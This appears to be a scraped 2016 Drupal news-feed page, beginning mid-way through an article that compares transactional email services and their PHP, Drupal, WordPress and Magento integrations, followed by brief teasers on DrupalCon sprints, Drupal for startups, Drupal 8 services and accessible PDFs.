Composer. While there is a 7.x-only Drupal a href=https://www.drupal.org/project/sendgrid_integrationmodule/a, SendGrid recommends Drupal users use the SMTP Authentication Support or Swift Mailer modules in its a href=https://sendgrid.com/docs/Integrate/Open_Source_Apps/drupal.htmldocumentation/a. Both the officially-recommended modules support Drupal 8 at least in the development releases of each module. Magento is also a href=https://sendgrid.com/docs/Integrate/Open_Source_Apps/magento.htmlsupported through the SMTP Pro extension/a. WordPress devs can install the a href=https://sendgrid.com/docs/Integrate/Open_Source_Apps/wordpress.htmlofficial plugin/a. SendGrid doesn#8217;t list a free tier on their pricing page, their #8220;Essentials#8221; plan start at $9.95 for 40,000 emails per month./p h3SendinBlue/h3 pMany devs I know have spoken highly of a href=https://www.sendinblue.com/SendinBlue/a. They offer a a href=https://www.sendinblue.com/plugins/wordpressWordPress plugin/a, (7.x only) a href=https://www.sendinblue.com/plugins/drupalDrupal module/a, and a href=https://www.sendinblue.com/plugins/magentoMagento extension/a. They also have an a href=https://github.com/mailin-api/mailin-api-phpofficial PHP library/a. Their free tier is limited to 9,000 emails per month with no daily limits, however the messages will include SendinBlue branding./p h3Amazon SES/h3 pAmazon#8217;s transactional email service is affordable but not as easy to install and configure for newbies. They have an official PHP library through the a href=http://docs.aws.amazon.com/aws-sdk-php/v2/guide/service-ses.htmlAWS PHP SDK/a. There is a third-party a href=https://www.drupal.org/project/amazon_sesDrupal module/a for 7.x users. Similarly there#8217;s an independent a href=https://wordpress.org/plugins/wp-ses/WordPress plugin/a. There is a USD 99 a href=http://www.aschroder.com/product/magesend-magento-email/paid extension/a for Magento./p h3Mailjet/h3 pa href=https://www.mailjet.comMailjet/a offers a a href=https://github.com/mailjet/mailjet-apiv3-phpPHP API wrapper/a, a a href=https://github.com/mailjet/wordpress-mailjet-plugin-apiv3WordPress plugin/a, a 7.x-only a href=https://www.drupal.org/project/mailjetDrupal plugin/a, a a href=https://github.com/mailjet/joomla-mailjet-plugin-apiv3Joomla! extension/a, and a a href=https://github.com/mailjet/magento-mailjet-plugin-apiv3Magento plugin/a. The free tier is capped at 6,000 emails per month and 200 email per day. The first 30 days include a premium trial which allows users to explore segmentation, testing, and compare campaign performance./p h3Mailgun/h3 pa href=http://www.mailgun.comMailgun/a has a a href=https://github.com/mailgun/mailgun-phpPHP SDK/a installable via Composer. There is also a a href=https://wordpress.org/plugins/mailgun/WordPress plugin/a, a 7.x-only a href=https://www.drupal.org/project/mailgunDrupal module/a,  and a a href=https://www.magentocommerce.com/magento-connect/mailgun-for-email-delivery.htmlMagento extension/a. The first 10,000 emails each month are free, after which you pay a tiered price based on monthly volume./p h3Postmark/h3 pa href=https://postmarkapp.comPostmark/a offers a a href=https://github.com/wildbit/postmark-phpPHP API library/a, installable via Composer and available on a href=https://packagist.org/packages/wildbit/postmark-phpPackagist/a. There is also an official a href=https://wordpress.org/plugins/postmark-approved-wordpress-plugin/WordPress plugin/a. There is a community-supported a href=https://www.drupal.org/project/postmarkDrupal module/a (you guessed it, 7.x only) and a href=https://github.com/sumoheavy/SUMOHeavy_PostmarkMagento extension/a. There are also many other a href=http://developer.postmarkapp.com/developer-community-libs.htmlcommunity modules for PHP frameworks/a. If you sign up to try it, the first 25,000 emails are free. After that, you can buy credits to send emails starting at $1.50 per thousand emails./p h4Conclusion/h4 pWhich of these services you use depends on your needs, price sensitivity, and how much specific support you want for your platform. If I#8217;ve missed any services with good PHP support, please let us know in the comments!/p psmallImage Credit: a href=https://www.flickr.com/photos/rahulrodriguez/9162677329RaHuL Rodriguez on Flickr/a/small/p

DrupalCon News: Come Sprint at DrupalCon

Mon, 04/18/2016 - 16:24
div class=field field--name-body field--type-text-with-summary field--label-hiddendiv class=field__itemsdiv class=field__item evenp style=line-height: 20.8px;At DrupalConnbsp;there’s plenty of opportunity to give back, learn, and make a difference when you attend sprints. Whether this is your first Drupal event or you've been to several camps and Cons and are ready to try something new, we look forward to seeing you at the sprints/p /div/div/div

I Fix Drupal: Can You Launch A Tech Startup Using Drupal?

Mon, 04/18/2016 - 14:41
Yes you can. In that case, should you launch a tech startup using Drupal? Maybe. This article will equip you with the information you need to make a sound assessment of whether you should choose Drupal for your startup company whether you are a non technical founder, an experienced CTO or a technologist looking to step up into an executive role. Drupal, or any other piece of open source software, can provide you with an incredible platform to scale your startup from nothing more than a set of requirements to a profitable company in a highly time and cost efficient manner. But Drupal is not a...

Valuebound: How to define your own Services in Drupal 8

Mon, 04/18/2016 - 14:04
pService  is a PHP class with some code that provides a single specific functionality throughout the application. So you can easily access each service and use its functionality wherever you need it. Because of that it is easy to test and configure in your application. This is called service-oriented architecture which is not unique to Symfony or even PHP.  /p pThe Services and Dependency Injection Container concepts have been adopted by Drupal from thea href=http://symfony.com/ Symfony framework/a.  Accessing the database, sending email, or translating user interface are examples for the services in Drupal 8. /p pLets look at how to define your own service in drupal 8 custom module Development?/p pstrongStep 1:/strongbr / Create the .info.yml file […/p

Pronovix: How to recognise accessible PDFs - PDF in Drupal part 3

Mon, 04/18/2016 - 11:30
pAs an addition to our PDF in Drupal series, we researched the subject of accessible PDFs: how can writers create content in a way that it becomes accessible to users with disabilities? We’ll highlight checking mechanisms and tools and end with listing three types of the available assistive technologies that make content accessible./p